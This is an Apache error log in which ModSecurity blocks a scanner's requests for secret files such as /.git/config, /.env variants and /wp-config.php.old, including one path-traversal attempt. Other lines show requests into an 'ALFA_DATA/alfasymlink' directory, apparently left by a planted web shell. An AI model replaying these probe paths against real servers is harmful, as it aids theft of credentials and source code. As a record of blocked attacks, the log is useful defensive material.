[Sat Oct 24 12:57:56.331012 2026] [security2:error] [pid 2627273:tid 2627273] [client 35.237.77.72:43968] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atzjlBdOhHN-18IxgZKtaAAAAAY"]
[Sat Oct 24 12:57:56.331347 2026] [security2:error] [pid 2627273:tid 2627273] [client 35.237.77.72:43968] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atzjlBdOhHN-18IxgZKtaAAAAAY"]
[Sat Oct 24 12:57:58.290476 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 23.23.99.55:6447] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:58:06.275512 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 98.84.60.17:21082] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:58:22.264940 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 3.224.215.150:3563] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:58:26.287162 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 54.166.126.132:30852] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:58:30.260219 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 23.23.104.107:31169] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:58:42.552528 2026] [core:error] [pid 2653683:tid 2653683] (13)Permission denied: [client 185.191.171.15:31094] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/buffer_head/min_partial
[Sat Oct 24 12:58:58.267031 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 34.231.118.144:52804] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:59:34.176879 2026] [core:error] [pid 2666873:tid 2666873] (13)Permission denied: [client 54.159.18.27:33494] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:05.0/driver/0000:00:03.0/resource4_wc
[Sat Oct 24 12:59:43.021877 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 34.230.124.21:33202] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:00:02.352740 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 3.224.215.150:56363] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:00:06.661021 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 185.191.171.16:53498] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:00:06.695902 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 185.191.171.16:53502] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:00:10.188460 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 3.212.205.90:55507] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:00:18.187053 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 18.214.186.220:59233] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:00:22.316722 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 34.236.41.241:47057] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:00:26.418182 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 54.209.100.30:5769] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:00:30.257876 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 52.45.29.57:58558] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:00:33.004845 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 85.208.96.196:17202] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:00:34.213812 2026] [ssl:error] [pid 2661979:tid 2661979] (22)Invalid argument: [client 34.224.132.215:64956] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:00:38.260987 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 98.82.59.253:35842] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:00:54.290428 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 44.205.192.249:9596] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:01:10.236647 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.6.232.201:10266] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:01:18.332809 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 44.209.187.99:26766] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:01:22.276896 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 44.220.2.97:55691] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:01:26.138460 2026] [security2:error] [pid 2661978:tid 2661978] [client 45.138.12.51:47976] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /build/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/build/.env"] [unique_id "atzkZlb2-c1qsZ5qYR4AfAAAAAM"]
[Sat Oct 24 13:01:26.138723 2026] [security2:error] [pid 2661978:tid 2661978] [client 45.138.12.51:47976] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/build/.env"] [unique_id "atzkZlb2-c1qsZ5qYR4AfAAAAAM"]
[Sat Oct 24 13:01:26.157896 2026] [security2:error] [pid 2661978:tid 2661978] [client 45.138.12.51:47976] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atzkZlb2-c1qsZ5qYR4AfAAAAAM"]
[Sat Oct 24 13:01:26.212410 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 44.207.207.36:63813] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:01:26.348571 2026] [security2:error] [pid 2661979:tid 2661979] [client 45.138.12.51:48026] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /cms/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/cms/.git/config"] [unique_id "atzkZny_mx2QzptTVg2qrwAAAAU"]
[Sat Oct 24 13:01:26.348838 2026] [security2:error] [pid 2661979:tid 2661979] [client 45.138.12.51:48026] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/cms/.git/config"] [unique_id "atzkZny_mx2QzptTVg2qrwAAAAU"]
[Sat Oct 24 13:01:26.349596 2026] [security2:error] [pid 2661979:tid 2661979] [client 45.138.12.51:48026] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atzkZny_mx2QzptTVg2qrwAAAAU"]
[Sat Oct 24 13:01:26.542472 2026] [security2:error] [pid 2627273:tid 2627273] [client 45.138.12.51:48058] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /src/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/src/.git/config"] [unique_id "atzkZhdOhHN-18IxgZKtcAAAAAY"]
[Sat Oct 24 13:01:26.542745 2026] [security2:error] [pid 2627273:tid 2627273] [client 45.138.12.51:48058] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/src/.git/config"] [unique_id "atzkZhdOhHN-18IxgZKtcAAAAAY"]
[Sat Oct 24 13:01:26.543704 2026] [security2:error] [pid 2627273:tid 2627273] [client 45.138.12.51:48058] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atzkZhdOhHN-18IxgZKtcAAAAAY"]
[Sat Oct 24 13:01:27.128318 2026] [security2:error] [pid 2661974:tid 2661974] [client 45.138.12.51:48118] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.dist"] [unique_id "atzkZ1J_jwyaxTk3PFs1hAAAAAE"]
[Sat Oct 24 13:01:27.128551 2026] [security2:error] [pid 2661974:tid 2661974] [client 45.138.12.51:48118] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.dist"] [unique_id "atzkZ1J_jwyaxTk3PFs1hAAAAAE"]
[Sat Oct 24 13:01:27.129447 2026] [security2:error] [pid 2661974:tid 2661974] [client 45.138.12.51:48118] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atzkZ1J_jwyaxTk3PFs1hAAAAAE"]
[Sat Oct 24 13:01:27.329604 2026] [security2:error] [pid 2653691:tid 2653691] [client 45.138.12.51:48120] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.live"] [unique_id "atzkZwg8t6UDSRTNwJOXYgAAABc"]
[Sat Oct 24 13:01:27.329827 2026] [security2:error] [pid 2653691:tid 2653691] [client 45.138.12.51:48120] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.live"] [unique_id "atzkZwg8t6UDSRTNwJOXYgAAABc"]
[Sat Oct 24 13:01:27.330608 2026] [security2:error] [pid 2653691:tid 2653691] [client 45.138.12.51:48120] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atzkZwg8t6UDSRTNwJOXYgAAABc"]
[Sat Oct 24 13:01:27.529511 2026] [security2:error] [pid 2653683:tid 2653683] [client 45.138.12.51:48134] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.staging.local"] [unique_id "atzkZ767zmuaHuFajxGnbQAAAA4"]
[Sat Oct 24 13:01:27.529760 2026] [security2:error] [pid 2653683:tid 2653683] [client 45.138.12.51:48134] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.staging.local"] [unique_id "atzkZ767zmuaHuFajxGnbQAAAA4"]
[Sat Oct 24 13:01:27.530524 2026] [security2:error] [pid 2653683:tid 2653683] [client 45.138.12.51:48134] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atzkZ767zmuaHuFajxGnbQAAAA4"]
[Sat Oct 24 13:01:27.720116 2026] [security2:error] [pid 2666873:tid 2666873] [client 45.138.12.51:48140] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /media/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/media/.git/config"] [unique_id "atzkZ6pyxzGTDP3At0pypwAAAAc"]
[Sat Oct 24 13:01:27.720353 2026] [security2:error] [pid 2666873:tid 2666873] [client 45.138.12.51:48140] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/media/.git/config"] [unique_id "atzkZ6pyxzGTDP3At0pypwAAAAc"]
[Sat Oct 24 13:01:27.721212 2026] [security2:error] [pid 2666873:tid 2666873] [client 45.138.12.51:48140] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atzkZ6pyxzGTDP3At0pypwAAAAc"]
[Sat Oct 24 13:01:27.921358 2026] [security2:error] [pid 2635677:tid 2635677] [client 45.138.12.51:48142] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/wp-config.php.old"] [unique_id "atzkZ4Wurp-t0SwAQgRsGAAAAAQ"]
[Sat Oct 24 13:01:27.921662 2026] [security2:error] [pid 2635677:tid 2635677] [client 45.138.12.51:48142] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/wp-config.php.old"] [unique_id "atzkZ4Wurp-t0SwAQgRsGAAAAAQ"]
[Sat Oct 24 13:01:27.922884 2026] [security2:error] [pid 2635677:tid 2635677] [client 45.138.12.51:48142] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atzkZ4Wurp-t0SwAQgRsGAAAAAQ"]
[Sat Oct 24 13:01:28.114578 2026] [security2:error] [pid 2661978:tid 2661978] [client 45.138.12.51:48146] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /settings/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/settings/.env"] [unique_id "atzkaFb2-c1qsZ5qYR4AfQAAAAM"]
[Sat Oct 24 13:01:28.114787 2026] [security2:error] [pid 2661978:tid 2661978] [client 45.138.12.51:48146] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/settings/.env"] [unique_id "atzkaFb2-c1qsZ5qYR4AfQAAAAM"]
[Sat Oct 24 13:01:28.115487 2026] [security2:error] [pid 2661978:tid 2661978] [client 45.138.12.51:48146] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atzkaFb2-c1qsZ5qYR4AfQAAAAM"]
[Sat Oct 24 13:01:28.309009 2026] [security2:error] [pid 2661979:tid 2661979] [client 45.138.12.51:48152] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /assets../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "162.216.113.238"] [uri "/assets../.git/config"] [unique_id "atzkaHy_mx2QzptTVg2qsAAAAAU"]
[Sat Oct 24 13:01:28.309099 2026] [security2:error] [pid 2661979:tid 2661979] [client 45.138.12.51:48152] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /assets../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "162.216.113.238"] [uri "/assets../.git/config"] [unique_id "atzkaHy_mx2QzptTVg2qsAAAAAU"]
[Sat Oct 24 13:01:28.309143 2026] [security2:error] [pid 2661979:tid 2661979] [client 45.138.12.51:48152] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/assets../.git/config"] [unique_id "atzkaHy_mx2QzptTVg2qsAAAAAU"]
[Sat Oct 24 13:01:28.309315 2026] [security2:error] [pid 2661979:tid 2661979] [client 45.138.12.51:48152] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/assets../.git/config"] [unique_id "atzkaHy_mx2QzptTVg2qsAAAAAU"]
